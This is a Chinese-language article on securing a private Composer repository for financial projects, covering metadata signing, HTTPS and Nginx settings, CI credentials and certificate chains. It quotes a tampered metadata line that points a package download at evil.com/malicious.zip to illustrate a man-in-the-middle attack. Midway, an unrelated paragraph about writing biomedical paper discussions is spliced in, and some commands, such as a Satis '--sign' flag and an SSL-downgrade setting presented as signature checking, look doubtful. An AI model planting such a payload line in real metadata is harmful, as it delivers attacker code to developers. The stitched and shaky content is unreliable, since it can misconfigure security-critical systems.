金融级Composer私有仓库必须满足三重硬性约束：元数据不可篡改（启用GPG签名）、传输全程可信（强制HTTPS+禁用目录浏览）、凭证不落地泄露（CI中正确注入COMPOSER_AUTH并校验）；缺一即不安全。
金融级 Composer 私有仓库不是“搭起来就行”，而是必须满足三重硬性约束：元数据不可篡改、传输全程可信、凭证不落地泄露。缺任何一条，就等于把支付 SDK 的发布权交到中间人手里。
为什么 repositories 加了 URL 还是走外网？
根本不是网络问题，是 Composer 默认仍会先查 packagist.org，私有源只是 fallback。它根本不会尝试你的地址，除非你显式关掉默认源。
- 必须在项目
composer.json的根层级写："packagist.org": false，漏掉这一行，composer install就永远找不到私有包 - Artifactory 或 Satis 的 URL 末尾斜杠
/不可省略，少一个就是 404，且路径中必须含/api/composer/，不能错写成/api/npm/ - Virtual 仓库必须后端聚合至少一个
type: composer的本地或 remote 仓库；Generic 类型仓库对 Composer 完全不可见
如何让 packages.json 不被中间人篡改？
不启用 GPG 签名的私有仓库，等同于把安装指令明文广播——攻击者只需劫持 DNS 或 HTTPS 连接，就能把 "dist": {"url": "https://evil.com/malicious.zip"} 插入元数据，Composer 会照单下载执行。
围绕关键发现、作用机制、临床相关性及研究局限性展开讨论。适用于撰写或优化任何生物医学论文的“讨论（Discussion）”部分——包括结果解读、与既往文献关联、阐释意外发现、界定研究局限性，以及撰写结论。当用户输入以下任一指令时也会自动触发该功能： - “write my discussion” - “help me discuss my findings” - “how do I compare to prior studies” - “write the limitations par
- Satis 构建时必须加
--sign参数：php bin/satis build satis.json web/ --sign - 服务端 Nginx 配置里禁用目录浏览：
location / { try_files $uri =404; }，删掉autoindex on - 客户端强制校验签名：
composer config -g repo.packagist.org.allow_ssl_downgrade false，并确认openssl扩展已启用
COMPOSER_AUTH 在 CI 里怎么写才不翻车？
JSON 格式错一个逗号、多一个空格、换行符没转义，CI 就静默失败，报错信息里甚至不提认证——它只会说 Could not parse version 或直接 fallback 到 public 源。
- 环境变量值必须是单行、无换行、键名全小写：
COMPOSER_AUTH='{"http-basic":{"packages.your-company.com":{"username":"ci","password":"xxx"}}}' - 禁止手拼 JSON，用
jq生成：echo '{"http-basic": {"'"$REPO_HOST"'": {"username": "'"$CI_USER"'", "password": "'"$CI_TOKEN"'"}}}' | jq -c - CI 第一步加校验：
composer config --global --list | grep -q "http-basic" || (echo "MISSING AUTH CONFIG" >&2; exit 1)
内网 HTTPS 仓库总报 cURL error 60 怎么办？
不是证书没装，是 Composer 加载逻辑变了——2.5+ 版本会先用 ssl.cafile 初始化 OpenSSL 上下文，失败就静默忽略，继续用系统 CA，结果还是报错。
- 证书文件必须是完整 PEM 链（中间 CA + 根 CA），顺序为中间在前、根在后；用
cat intermediate.pem root.pem > combined.pem拼接，别用手改 - 必须全局配置：
composer config --global ssl.cafile /etc/ssl/certs/company-ca.pem，项目级配置对 CLI 场景无效 - 确认 PHP 进程有读权限：如果用 php-fpm，
www-data用户得能读该路径；家目录下的文件通常不行
金融场景下最易被忽略的一点：所有 composer.lock 文件必须含有效 shasum 字段，且 CI 流水线要校验它是否与私有仓库返回的 ZIP 实际哈希一致——否则即使元数据没被篡改，包文件本身也可能被替换。
